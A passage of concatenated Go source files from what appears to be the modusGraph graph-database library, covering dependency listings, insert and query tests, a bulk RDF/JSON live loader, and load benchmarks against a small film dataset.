v1.0.7 // indirect 94 | github.com/hashicorp/go-uuid v1.0.3 // indirect 95 | github.com/hashicorp/hcl v1.0.1-vault-7 // indirect 96 | github.com/hashicorp/vault/api v1.16.0 // indirect 97 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 98 | github.com/jcmturner/aescts/v2 v2.0.0 // indirect 99 | github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect 100 | github.com/jcmturner/gofork v1.7.6 // indirect 101 | github.com/jcmturner/gokrb5/v8 v8.4.4 // indirect 102 | github.com/jcmturner/rpc/v2 v2.0.3 // indirect 103 | github.com/json-iterator/go v1.1.12 // indirect 104 | github.com/klauspost/compress v1.18.0 // indirect 105 | github.com/klauspost/cpuid/v2 v2.2.9 // indirect 106 | github.com/minio/md5-simd v1.1.2 // indirect 107 | github.com/minio/minio-go/v6 v6.0.57 // indirect 108 | github.com/minio/sha256-simd v1.0.1 // indirect 109 | github.com/mitchellh/go-homedir v1.1.0 // indirect 110 | github.com/mitchellh/mapstructure v1.5.1-0.20231216201459-8508981c8b6c // indirect 111 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 112 | github.com/modern-go/reflect2 v1.0.2 // indirect 113 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect 114 | github.com/pierrec/lz4/v4 v4.1.22 // indirect 115 | github.com/pkg/profile v1.7.0 // indirect 116 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect 117 | github.com/prometheus/client_golang v1.21.1 // indirect 118 | github.com/prometheus/client_model v0.6.1 // indirect 119 | github.com/prometheus/common v0.62.0 // indirect 120 | github.com/prometheus/procfs v0.15.1 // indirect 121 | github.com/prometheus/statsd_exporter v0.28.0 // indirect 122 | github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect 123 | github.com/ryanuber/go-glob v1.0.0 // indirect 124 | github.com/soheilhy/cmux v0.1.5 // indirect 125 | github.com/spf13/afero v1.12.0 // indirect 126 | github.com/spf13/cast v1.7.1 // indirect 127 | github.com/spf13/cobra v1.9.1 // indirect 128 | github.com/spf13/pflag v1.0.6 // indirect 129 | github.com/spf13/viper v1.20.1 // indirect 130 | github.com/subosito/gotenv v1.6.0 // indirect 131 | github.com/viterin/partial v1.1.0 // indirect 132 | github.com/viterin/vek v0.4.2 // indirect 133 | github.com/xdg/scram v1.0.5 // indirect 134 | github.com/xdg/stringprep v1.0.3 // indirect 135 | go.etcd.io/etcd/raft/v3 v3.5.21 // indirect 136 | go.opencensus.io v0.24.0 // indirect 137 | go.uber.org/multierr v1.11.0 // indirect 138 | go.uber.org/zap v1.27.0 // indirect 139 | golang.org/x/crypto v0.37.0 // indirect 140 | golang.org/x/exp v0.0.0-20250128182459-e0ece0dbea4c // indirect 141 | golang.org/x/net v0.39.0 // indirect 142 | golang.org/x/sys v0.32.0 // indirect 143 | golang.org/x/term v0.31.0 // indirect 144 | golang.org/x/text v0.24.0 // indirect 145 | golang.org/x/time v0.9.0 // indirect 146 | google.golang.org/genproto/googleapis/rpc v0.0.0-20250218202821-56aae31c358a // indirect 147 | google.golang.org/grpc v1.72.0 148 | gopkg.in/ini.v1 v1.67.0 // indirect 149 | gopkg.in/yaml.v2 v2.4.0 // indirect 150 | gopkg.in/yaml.v3 v3.0.1 // indirect 151 | ) 152 | -------------------------------------------------------------------------------- /insert_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Hypermode Inc. and Contributors 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package modusgraph_test 18 | 19 | import ( 20 | "context" 21 | "fmt" 22 | "os" 23 | "strings" 24 | "testing" 25 | "time" 26 | 27 | "github.com/stretchr/testify/assert" 28 | "github.com/stretchr/testify/require" 29 | ) 30 | 31 | // TestEntity is a test struct used for Insert tests 32 | type TestEntity struct { 33 | UID string `json:"uid,omitempty"` 34 | Name string `json:"name,omitempty" dgraph:"index=term,exact unique"` 35 | Description string `json:"description,omitempty" dgraph:"index=term"` 36 | CreatedAt time.Time `json:"createdAt,omitempty"` 37 | DType []string `json:"dgraph.type,omitempty"` 38 | } 39 | 40 | func TestClientInsert(t *testing.T) { 41 | 42 | testCases := []struct { 43 | name string 44 | uri string 45 | skip bool 46 | }{ 47 | { 48 | name: "InsertWithFileURI", 49 | uri: "file://" + t.TempDir(), 50 | }, 51 | { 52 | name: "InsertWithDgraphURI", 53 | uri: "dgraph://" + os.Getenv("MODUSGRAPH_TEST_ADDR"), 54 | skip: os.Getenv("MODUSGRAPH_TEST_ADDR") == "", 55 | }, 56 | } 57 | 58 | for _, tc := range testCases { 59 | t.Run(tc.name, func(t *testing.T) { 60 | if tc.skip { 61 | t.Skipf("Skipping %s: MODUSGRAPH_TEST_ADDR not set", tc.name) 62 | return 63 | } 64 | 65 | client, cleanup := CreateTestClient(t, tc.uri) 66 | defer cleanup() 67 | 68 | entity := TestEntity{ 69 | Name: "Test Entity", 70 | Description: "This is a test entity for the Insert method", 71 | CreatedAt: time.Now(), 72 | } 73 | 74 | ctx := context.Background() 75 | err := client.Insert(ctx, &entity) 76 | require.NoError(t, err, "Insert should succeed") 77 | require.NotEmpty(t, entity.UID, "UID should be assigned") 78 | 79 | uid := entity.UID 80 | err = client.Get(ctx, &entity, uid) 81 | require.NoError(t, err, "Get should succeed") 82 | require.Equal(t, entity.Name, "Test Entity", "Name should match") 83 | require.Equal(t, entity.Description, "This is a test entity for the Insert method", "Description should match") 84 | 85 | // Try to insert the same entity again, should fail due to unique constraint 86 | // Note this doesn't work for local file clients at this time (planned improvement) 87 | if !strings.HasPrefix(tc.uri, "file://") { 88 | entity = TestEntity{ 89 | Name: "Test Entity", 90 | Description: "This is a test entity for the Insert method 2", 91 | CreatedAt: time.Now(), 92 | } 93 | err = client.Insert(ctx, &entity) 94 | fmt.Println(err) 95 | require.Error(t, err, "Insert should fail because Name is unique") 96 | } 97 | }) 98 | } 99 | } 100 | 101 | func TestClientInsertMultipleEntities(t *testing.T) { 102 | testCases := []struct { 103 | name string 104 | uri string 105 | skip bool 106 | }{ 107 | { 108 | name: "InsertMultipleWithFileURI", 109 | uri: "file://" + t.TempDir(), 110 | }, 111 | { 112 | name: "InsertMultipleWithDgraphURI", 113 | uri: "dgraph://" + os.Getenv("MODUSGRAPH_TEST_ADDR"), 114 | skip: os.Getenv("MODUSGRAPH_TEST_ADDR") == "", 115 | }, 116 | } 117 | 118 | for _, tc := range testCases { 119 | t.Run(tc.name, func(t *testing.T) { 120 | if tc.skip { 121 | t.Skipf("Skipping %s: MODUSGRAPH_TEST_ADDR not set", tc.name) 122 | return 123 | } 124 | 125 | client, cleanup := CreateTestClient(t, tc.uri) 126 | defer cleanup() 127 | 128 | // Note the `*TestEntity`, the elements in the slice must be pointers 129 | entities := []*TestEntity{ 130 | { 131 | Name: "Entity 1", 132 | Description: "First test entity", 133 | CreatedAt: time.Now().Add(-1 * time.Hour), 134 | }, 135 | { 136 | Name: "Entity 2", 137 | Description: "Second test entity", 138 | CreatedAt: time.Now(), 139 | }, 140 | } 141 | 142 | ctx := context.Background() 143 | err := client.Insert(ctx, entities) 144 | require.NoError(t, err, "Insert should succeed") 145 | 146 | var result []TestEntity 147 | err = client.Query(ctx, TestEntity{}).OrderDesc("createdAt").First(1).Nodes(&result) 148 | require.NoError(t, err, "Query should succeed") 149 | assert.Len(t, result, 1, "Should have found one entity") 150 | assert.Equal(t, entities[1].Name, result[0].Name, "Name should match") 151 | }) 152 | } 153 | } 154 | 155 | type Person struct { 156 | UID string `json:"uid,omitempty"` 157 | Name string `json:"name,omitempty" dgraph:"index=term"` 158 | Friends []*Person `json:"friends,omitempty"` 159 | 160 | DType []string `json:"dgraph.type,omitempty"` 161 | } 162 | 163 | func TestDepthQuery(t *testing.T) { 164 | testCases := []struct { 165 | name string 166 | uri string 167 | skip bool 168 | }{ 169 | { 170 | name: "InsertWithFileURI", 171 | uri: "file://" + t.TempDir(), 172 | }, 173 | { 174 | name: "InsertWithDgraphURI", 175 | uri: "dgraph://" + os.Getenv("MODUSGRAPH_TEST_ADDR"), 176 | skip: os.Getenv("MODUSGRAPH_TEST_ADDR") == "", 177 | }, 178 | } 179 | 180 | createPerson := func() Person { 181 | return Person{ 182 | Name: "Alice", 183 | Friends: []*Person{ 184 | { 185 | Name: "Bob", 186 | Friends: []*Person{ 187 | { 188 | Name: "Charles", 189 | }, 190 | { 191 | Name: "David", 192 | Friends: []*Person{ 193 | { 194 | Name: "Eve", 195 | Friends: []*Person{ 196 | { 197 | Name: "Frank", 198 | }, 199 | }, 200 | }, 201 | { 202 | Name: "George", 203 | }, 204 | }, 205 | }, 206 | }, 207 | }, 208 | }, 209 | } 210 | } 211 | 212 | for _, tc := range testCases { 213 | t.Run(tc.name, func(t *testing.T) { 214 | if tc.skip { 215 | t.Skipf("Skipping %s: MODUSGRAPH_TEST_ADDR not set", tc.name) 216 | return 217 | } 218 | 219 | client, cleanup := CreateTestClient(t, tc.uri) 220 | defer cleanup() 221 | 222 | ctx := context.Background() 223 | person := createPerson() 224 | err := client.Insert(ctx, &person) 225 | require.NoError(t, err, "Insert should succeed") 226 | 227 | var result []Person 228 | err = client.Query(ctx, Person{}).Filter(`eq(name, "Alice")`).All(10).Nodes(&result) 229 | require.NoError(t, err, "Query should succeed") 230 | assert.Equal(t, person.Name, result[0].Name, "Name should match") 231 | 232 | verifyPersonStructure(t, &person, &result[0]) 233 | }) 234 | } 235 | } 236 | 237 | func verifyPersonStructure(t *testing.T, expected *Person, actual *Person) { 238 | t.Helper() 239 | require.NotNil(t, actual, "Person should not be nil") 240 | assert.Equal(t, expected.Name, actual.Name, "Name should match") 241 | 242 | if expected.Friends == nil { 243 | assert.Empty(t, actual.Friends, "Should have no friends") 244 | return 245 | } 246 | 247 | require.Len(t, actual.Friends, len(expected.Friends), 248 | "%s should have %d friends", expected.Name, len(expected.Friends)) 249 | 250 | // Create a map of expected friends by name for easier lookup 251 | expectedFriends := make(map[string]*Person) 252 | for _, friend := range expected.Friends { 253 | expectedFriends[friend.Name] = friend 254 | } 255 | 256 | // Verify each actual friend 257 | for _, actualFriend := range actual.Friends { 258 | expectedFriend, ok := expectedFriends[actualFriend.Name] 259 | require.True(t, ok, "%s should have a friend named %s", 260 | expected.Name, actualFriend.Name) 261 | 262 | // Recursively verify this friend's structure 263 | verifyPersonStructure(t, expectedFriend, actualFriend) 264 | } 265 | } 266 | -------------------------------------------------------------------------------- /live.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package modusgraph 7 | 8 | import ( 9 | "context" 10 | "fmt" 11 | "io" 12 | "os" 13 | "sync" 14 | "time" 15 | 16 | "github.com/dgraph-io/dgo/v240/protos/api" 17 | "github.com/hypermodeinc/dgraph/v24/chunker" 18 | "github.com/hypermodeinc/dgraph/v24/filestore" 19 | "github.com/hypermodeinc/dgraph/v24/x" 20 | "github.com/pkg/errors" 21 | "golang.org/x/sync/errgroup" 22 | ) 23 | 24 | const ( 25 | maxRoutines = 4 26 | batchSize = 1000 27 | numBatchesInBuf = 100 28 | progressFrequency = 5 * time.Second 29 | ) 30 | 31 | type liveLoader struct { 32 | n *Namespace 33 | blankNodes map[string]string 34 | mutex sync.RWMutex 35 | } 36 | 37 | func (n *Namespace) Load(ctx context.Context, schemaPath, dataPath string) error { 38 | schemaData, err := os.ReadFile(schemaPath) 39 | if err != nil { 40 | return fmt.Errorf("error reading schema file [%v]: %w", schemaPath, err) 41 | } 42 | if err := n.AlterSchema(ctx, string(schemaData)); err != nil { 43 | return fmt.Errorf("error altering schema: %w", err) 44 | } 45 | 46 | if err := n.LoadData(ctx, dataPath); err != nil { 47 | return fmt.Errorf("error loading data: %w", err) 48 | } 49 | return nil 50 | } 51 | 52 | // TODO: Add support for CSV file 53 | func (n *Namespace) LoadData(inCtx context.Context, dataDir string) error { 54 | fs := filestore.NewFileStore(dataDir) 55 | files := fs.FindDataFiles(dataDir, []string{".rdf", ".rdf.gz", ".json", ".json.gz"}) 56 | if len(files) == 0 { 57 | return errors.Errorf("no data files found in [%v]", dataDir) 58 | } 59 | n.engine.logger.Info("Found data files to process", "count", len(files)) 60 | 61 | // Here, we build a context tree so that we can wait for the goroutines towards the 62 | // end. This also ensures that we can cancel the context tree if there is an error. 63 | rootG, rootCtx := errgroup.WithContext(inCtx) 64 | procG, procCtx := errgroup.WithContext(rootCtx) 65 | procG.SetLimit(maxRoutines) 66 | 67 | // start a goroutine to do the mutations 68 | start := time.Now() 69 | nqudsProcessed := 0 70 | nqch := make(chan *api.Mutation, 10000) 71 | rootG.Go(func() error { 72 | ticker := time.NewTicker(progressFrequency) 73 | defer ticker.Stop() 74 | 75 | last := nqudsProcessed 76 | for { 77 | select { 78 | case <-rootCtx.Done(): 79 | return rootCtx.Err() 80 | 81 | case <-ticker.C: 82 | elapsed := time.Since(start).Round(time.Second) 83 | rate := float64(nqudsProcessed-last) / progressFrequency.Seconds() 84 | n.engine.logger.Info("Data loading progress", "elapsed", x.FixedDuration(elapsed), 85 | "quads", nqudsProcessed, 86 | "rate", fmt.Sprintf("%5.0f", rate)) 87 | last = nqudsProcessed 88 | 89 | case nqs, ok := <-nqch: 90 | if !ok { 91 | return nil 92 | } 93 | uids, err := n.Mutate(rootCtx, []*api.Mutation{nqs}) 94 | if err != nil { 95 | return fmt.Errorf("error applying mutations: %w", err) 96 | } 97 | x.AssertTruef(len(uids) == 0, "no UIDs should be returned for live loader") 98 | nqudsProcessed += len(nqs.Set) 99 | } 100 | } 101 | }) 102 | 103 | ll := &liveLoader{n: n, blankNodes: make(map[string]string)} 104 | for _, datafile := range files { 105 | procG.Go(func() error { 106 | return ll.processFile(procCtx, fs, datafile, nqch) 107 | }) 108 | } 109 | 110 | // Wait until all the files are processed 111 | if errProcG := procG.Wait(); errProcG != nil { 112 | rootG.Go(func() error { 113 | return errProcG 114 | }) 115 | } 116 | 117 | // close the channel and wait for the mutations to finish 118 | close(nqch) 119 | return rootG.Wait() 120 | } 121 | 122 | func (l *liveLoader) processFile(inCtx context.Context, fs filestore.FileStore, 123 | filename string, nqch chan *api.Mutation) error { 124 | 125 | l.n.engine.logger.Info("Processing data file", "filename", filename) 126 | 127 | rd, cleanup := fs.ChunkReader(filename, nil) 128 | defer cleanup() 129 | 130 | loadType := chunker.DataFormat(filename, "") 131 | if loadType == chunker.UnknownFormat { 132 | if isJson, err := chunker.IsJSONData(rd); err == nil { 133 | if isJson { 134 | loadType = chunker.JsonFormat 135 | } else { 136 | return errors.Errorf("unable to figure out data format for [%v]", filename) 137 | } 138 | } 139 | } 140 | 141 | g, ctx := errgroup.WithContext(inCtx) 142 | ck := chunker.NewChunker(loadType, batchSize) 143 | nqbuf := ck.NQuads() 144 | 145 | g.Go(func() error { 146 | buffer := make([]*api.NQuad, 0, numBatchesInBuf*batchSize) 147 | 148 | drain := func() { 149 | for len(buffer) > 0 { 150 | sz := batchSize 151 | if len(buffer) < batchSize { 152 | sz = len(buffer) 153 | } 154 | nqch <- &api.Mutation{Set: buffer[:sz]} 155 | buffer = buffer[sz:] 156 | } 157 | } 158 | 159 | loop := true 160 | for loop { 161 | select { 162 | case <-ctx.Done(): 163 | return ctx.Err() 164 | 165 | case nqs, ok := <-nqbuf.Ch(): 166 | if !ok { 167 | loop = false 168 | break 169 | } 170 | if len(nqs) == 0 { 171 | continue 172 | } 173 | 174 | var err error 175 | for _, nq := range nqs { 176 | nq.Subject, err = l.uid(nq.Namespace, nq.Subject) 177 | if err != nil { 178 | return fmt.Errorf("error getting UID for subject: %w", err) 179 | } 180 | if len(nq.ObjectId) > 0 { 181 | nq.ObjectId, err = l.uid(nq.Namespace, nq.ObjectId) 182 | if err != nil { 183 | return fmt.Errorf("error getting UID for object: %w", err) 184 | } 185 | } 186 | } 187 | 188 | buffer = append(buffer, nqs...) 189 | if len(buffer) < numBatchesInBuf*batchSize { 190 | continue 191 | } 192 | drain() 193 | } 194 | } 195 | drain() 196 | return nil 197 | }) 198 | 199 | g.Go(func() error { 200 | for { 201 | select { 202 | case <-ctx.Done(): 203 | return ctx.Err() 204 | default: 205 | } 206 | 207 | chunkBuf, errChunk := ck.Chunk(rd) 208 | if errChunk != nil && errChunk != io.EOF { 209 | return fmt.Errorf("error chunking data: %w", errChunk) 210 | } 211 | if err := ck.Parse(chunkBuf); err != nil { 212 | return fmt.Errorf("error parsing chunk: %w", err) 213 | } 214 | // We do this here in case of io.EOF, so that we can flush the last batch. 215 | if errChunk != nil { 216 | break 217 | } 218 | } 219 | 220 | nqbuf.Flush() 221 | return nil 222 | }) 223 | 224 | return g.Wait() 225 | } 226 | 227 | func (l *liveLoader) uid(ns uint64, val string) (string, error) { 228 | key := x.NamespaceAttr(ns, val) 229 | 230 | l.mutex.RLock() 231 | uid, ok := l.blankNodes[key] 232 | l.mutex.RUnlock() 233 | if ok { 234 | return uid, nil 235 | } 236 | 237 | l.mutex.Lock() 238 | defer l.mutex.Unlock() 239 | 240 | uid, ok = l.blankNodes[key] 241 | if ok { 242 | return uid, nil 243 | } 244 | 245 | asUID, err := l.n.engine.LeaseUIDs(1) 246 | if err != nil { 247 | return "", fmt.Errorf("error allocating UID: %w", err) 248 | } 249 | 250 | uid = fmt.Sprintf("%#x", asUID.StartId) 251 | l.blankNodes[key] = uid 252 | return uid, nil 253 | } 254 | -------------------------------------------------------------------------------- /load_test/live_benchmark_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package load_test 7 | 8 | import ( 9 | "context" 10 | "os" 11 | "path/filepath" 12 | "runtime" 13 | "runtime/pprof" 14 | "testing" 15 | 16 | "github.com/hypermodeinc/modusgraph" 17 | "github.com/stretchr/testify/require" 18 | ) 19 | 20 | func BenchmarkDatabaseOperations(b *testing.B) { 21 | setupProfiler := func(b *testing.B) *os.File { 22 | f, err := os.Create("cpu_profile.prof") 23 | if err != nil { 24 | b.Fatal("could not create CPU profile: ", err) 25 | } 26 | if err := pprof.StartCPUProfile(f); err != nil { 27 | b.Fatal("could not start CPU profiling: ", err) 28 | } 29 | return f 30 | } 31 | 32 | reportMemStats := func(b *testing.B, initialAlloc uint64) { 33 | var ms runtime.MemStats 34 | runtime.ReadMemStats(&ms) 35 | b.ReportMetric(float64(ms.Alloc-initialAlloc)/float64(b.N), "bytes/op") 36 | b.ReportMetric(float64(ms.NumGC), "total-gc-cycles") 37 | } 38 | 39 | b.Run("DropAndLoad", func(b *testing.B) { 40 | f := setupProfiler(b) 41 | defer f.Close() 42 | defer pprof.StopCPUProfile() 43 | 44 | var ms runtime.MemStats 45 | runtime.ReadMemStats(&ms) 46 | initialAlloc := ms.Alloc 47 | 48 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(b.TempDir())) 49 | require.NoError(b, err) 50 | defer engine.Close() 51 | 52 | b.ResetTimer() 53 | for i := 0; i < b.N; i++ { 54 | dataFolder := b.TempDir() 55 | schemaFile := filepath.Join(dataFolder, "data.schema") 56 | dataFile := filepath.Join(dataFolder, "data.rdf") 57 | require.NoError(b, os.WriteFile(schemaFile, []byte(DbSchema), 0600)) 58 | require.NoError(b, os.WriteFile(dataFile, []byte(SmallData), 0600)) 59 | require.NoError(b, engine.Load(context.Background(), schemaFile, dataFile)) 60 | } 61 | reportMemStats(b, initialAlloc) 62 | }) 63 | 64 | b.Run("Query", func(b *testing.B) { 65 | f := setupProfiler(b) 66 | defer f.Close() 67 | defer pprof.StopCPUProfile() 68 | 69 | var ms runtime.MemStats 70 | runtime.ReadMemStats(&ms) 71 | initialAlloc := ms.Alloc 72 | 73 | // Setup database with data once 74 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(b.TempDir())) 75 | require.NoError(b, err) 76 | defer engine.Close() 77 | 78 | dataFolder := b.TempDir() 79 | schemaFile := filepath.Join(dataFolder, "data.schema") 80 | dataFile := filepath.Join(dataFolder, "data.rdf") 81 | require.NoError(b, os.WriteFile(schemaFile, []byte(DbSchema), 0600)) 82 | require.NoError(b, os.WriteFile(dataFile, []byte(SmallData), 0600)) 83 | require.NoError(b, engine.Load(context.Background(), schemaFile, dataFile)) 84 | 85 | const query = `{ 86 | caro(func: allofterms(name@en, "Marc Caro")) { 87 | name@en 88 | director.film { 89 | name@en 90 | } 91 | } 92 | }` 93 | const expected = `{ 94 | "caro": [ 95 | { 96 | "name@en": "Marc Caro", 97 | "director.film": [ 98 | { 99 | "name@en": "Delicatessen" 100 | }, 101 | { 102 | "name@en": "The City of Lost Children" 103 | } 104 | ] 105 | } 106 | ] 107 | }` 108 | 109 | b.ResetTimer() 110 | for i := 0; i < b.N; i++ { 111 | resp, err := engine.GetDefaultNamespace().Query(context.Background(), query) 112 | require.NoError(b, err) 113 | require.JSONEq(b, expected, string(resp.Json)) 114 | } 115 | reportMemStats(b, initialAlloc) 116 | }) 117 | } 118 | -------------------------------------------------------------------------------- /load_test/live_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package load_test 7 | 8 | import ( 9 | "context" 10 | "log" 11 | "os" 12 | "path/filepath" 13 | "testing" 14 | "time" 15 | 16 | "github.com/cavaliergopher/grab/v3" 17 | "github.com/go-logr/stdr" 18 | "github.com/hypermodeinc/dgraph/v24/dgraphapi" 19 | "github.com/hypermodeinc/dgraph/v24/systest/1million/common" 20 | "github.com/hypermodeinc/modusgraph" 21 | "github.com/stretchr/testify/require" 22 | ) 23 | 24 | const ( 25 | baseURL = "https://github.com/hypermodeinc/dgraph-benchmarks/blob/main/data" 26 | oneMillionSchema = baseURL + "/1million.schema?raw=true" 27 | oneMillionRDF = baseURL + "/1million.rdf.gz?raw=true" 28 | DbSchema = ` 29 | director.film : [uid] @reverse @count . 30 | name : string @index(hash, term, trigram, fulltext) @lang . 31 | ` 32 | SmallData = ` 33 | <12534504120601169429> "Marc Caro"@en . 34 | <2698880893682087932> "Delicatessen"@en . 35 | <2698880893682087932> "Delicatessen"@de . 36 | <2698880893682087932> "Delicatessen"@it . 37 | <12534504120601169429> <2698880893682087932> . 38 | <14514306440537019930> <2698880893682087932> . 39 | <15617393957106514527> "The City of Lost Children"@en . 40 | <15617393957106514527> "Die Stadt der verlorenen Kinder"@de . 41 | <15617393957106514527> "La città perduta"@it . 42 | <12534504120601169429> <15617393957106514527> . 43 | <14514306440537019930> <15617393957106514527> . 44 | ` 45 | ) 46 | 47 | func TestLiveLoaderSmall(t *testing.T) { 48 | 49 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(t.TempDir())) 50 | require.NoError(t, err) 51 | defer engine.Close() 52 | 53 | dataFolder := t.TempDir() 54 | schemaFile := filepath.Join(dataFolder, "data.schema") 55 | dataFile := filepath.Join(dataFolder, "data.rdf") 56 | require.NoError(t, os.WriteFile(schemaFile, []byte(DbSchema), 0600)) 57 | require.NoError(t, os.WriteFile(dataFile, []byte(SmallData), 0600)) 58 | require.NoError(t, engine.Load(context.Background(), schemaFile, dataFile)) 59 | 60 | const query = `{ 61 | caro(func: allofterms(name@en, "Marc Caro")) { 62 | name@en 63 | director.film { 64 | name@en 65 | } 66 | } 67 | }` 68 | const expected = `{ 69 | "caro": [ 70 | { 71 | "name@en": "Marc Caro", 72 | "director.film": [ 73 | { 74 | "name@en": "Delicatessen" 75 | }, 76 | { 77 | "name@en": "The City of Lost Children" 78 | } 79 | ] 80 | } 81 | ] 82 | }` 83 | 84 | resp, err := engine.GetDefaultNamespace().Query(context.Background(), query) 85 | require.NoError(t, err) 86 | require.JSONEq(t, expected, string(resp.Json)) 87 | } 88 | 89 | func TestLiveLoader1Million(t *testing.T) { 90 | stdLogger := log.New(os.Stdout, "", log.LstdFlags) 91 | logger := stdr.NewWithOptions(stdLogger, stdr.Options{LogCaller: stdr.All}).WithName("mg") 92 | conf := modusgraph.NewDefaultConfig(t.TempDir()).WithLogger(logger) 93 | engine, err := modusgraph.NewEngine(conf) 94 | require.NoError(t, err) 95 | defer engine.Close() 96 | 97 | baseDir := t.TempDir() 98 | schResp, err := grab.Get(baseDir, oneMillionSchema) 99 | require.NoError(t, err) 100 | dataResp, err := grab.Get(baseDir, oneMillionRDF) 101 | require.NoError(t, err) 102 | 103 | require.NoError(t, engine.DropAll(context.Background())) 104 | require.NoError(t, engine.Load(context.Background(), schResp.Filename, dataResp.Filename)) 105 | 106 | for _, tt := range common.OneMillionTCs { 107 | ctx, cancel := context.WithTimeout(context.Background(), 10*time.Minute) 108 | resp, err := engine.GetDefaultNamespace().Query(ctx, tt.Query) 109 | cancel() 110 | 111 | if ctx.Err() == context.DeadlineExceeded { 112 | t.Fatal("aborting test due to query timeout") 113 | } 114 | require.NoError(t, err) 115 | require.NoError(t, dgraphapi.CompareJSON(tt.Resp, string(resp.Json))) 116 | } 117 | } 118 | -------------------------------------------------------------------------------- /namespace.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package modusgraph 7 | 8 | import ( 9 | "context" 10 | 11 | "github.com/dgraph-io/dgo/v240/protos/api" 12 | ) 13 | 14 | // Namespace is one of the namespaces in modusDB. 15 | type Namespace struct { 16 | id uint64 17 | engine *Engine 18 | } 19 | 20 | func (ns *Namespace) ID() uint64 { 21 | return ns.id 22 | } 23 | 24 | // DropAll drops all the data and schema in the modusDB instance. 25 | func (ns *Namespace) DropAll(ctx context.Context) error { 26 | return ns.engine.DropAll(ctx) 27 | } 28 | 29 | // DropData drops all the data in the modusDB instance. 30 | func (ns *Namespace) DropData(ctx context.Context) error { 31 | return ns.engine.dropData(ctx, ns) 32 | } 33 | 34 | func (ns *Namespace) AlterSchema(ctx context.Context, sch string) error { 35 | return ns.engine.alterSchema(ctx, ns, sch) 36 | } 37 | 38 | func (ns *Namespace) Mutate(ctx context.Context, ms []*api.Mutation) (map[string]uint64, error) { 39 | return ns.engine.mutate(ctx, ns, ms) 40 | } 41 | 42 | // Query performs query or mutation or upsert on the given modusDB instance. 43 | func (ns *Namespace) Query(ctx context.Context, query string) (*api.Response, error) { 44 | return ns.engine.query(ctx, ns, query, nil) 45 | } 46 | 47 | // QueryWithVars performs query or mutation or upsert on the given modusDB instance. 48 | func (ns *Namespace) QueryWithVars(ctx context.Context, query string, vars map[string]string) (*api.Response, error) { 49 | return ns.engine.query(ctx, ns, query, vars) 50 | } 51 | -------------------------------------------------------------------------------- /query_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Hypermode Inc. and Contributors 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package modusgraph_test 18 | 19 | import ( 20 | "context" 21 | "encoding/json" 22 | "fmt" 23 | "os" 24 | "testing" 25 | "time" 26 | 27 | dg "github.com/dolan-in/dgman/v2" 28 | "github.com/stretchr/testify/require" 29 | ) 30 | 31 | func TestClientSimpleGet(t *testing.T) { 32 | 33 | testCases := []struct { 34 | name string 35 | uri string 36 | skip bool 37 | }{ 38 | { 39 | name: "GetWithFileURI", 40 | uri: "file://" + t.TempDir(), 41 | }, 42 | { 43 | name: "GetWithDgraphURI", 44 | uri: "dgraph://" + os.Getenv("MODUSGRAPH_TEST_ADDR"), 45 | skip: os.Getenv("MODUSGRAPH_TEST_ADDR") == "", 46 | }, 47 | } 48 | 49 | for _, tc := range testCases { 50 | t.Run(tc.name, func(t *testing.T) { 51 | if tc.skip { 52 | t.Skipf("Skipping %s: MODUSGRAPH_TEST_ADDR not set", tc.name) 53 | return 54 | } 55 | 56 | client, cleanup := CreateTestClient(t, tc.uri) 57 | defer cleanup() 58 | 59 | entity := TestEntity{ 60 | Name: "Test Entity", 61 | Description: "This is a test entity for the Get method", 62 | CreatedAt: time.Now(), 63 | } 64 | ctx := context.Background() 65 | err := client.Insert(ctx, &entity) 66 | require.NoError(t, err, "Insert should succeed") 67 | 68 | err = client.Query(ctx, TestEntity{}).Node(&entity) 69 | require.NoError(t, err, "Get should succeed") 70 | require.Equal(t, entity.Name, "Test Entity", "Name should match") 71 | require.Equal(t, entity.Description, "This is a test entity for the Get method", "Description should match") 72 | }) 73 | } 74 | } 75 | 76 | type QueryTestRecord struct { 77 | Name string `json:"name,omitempty" dgraph:"index=exact,term unique"` 78 | Age int `json:"age,omitempty"` 79 | BirthDate time.Time `json:"birthDate,omitzero"` 80 | 81 | UID string `json:"uid,omitempty"` 82 | DType []string `json:"dgraph.type,omitempty"` 83 | } 84 | 85 | func TestClientQuery(t *testing.T) { 86 | 87 | testCases := []struct { 88 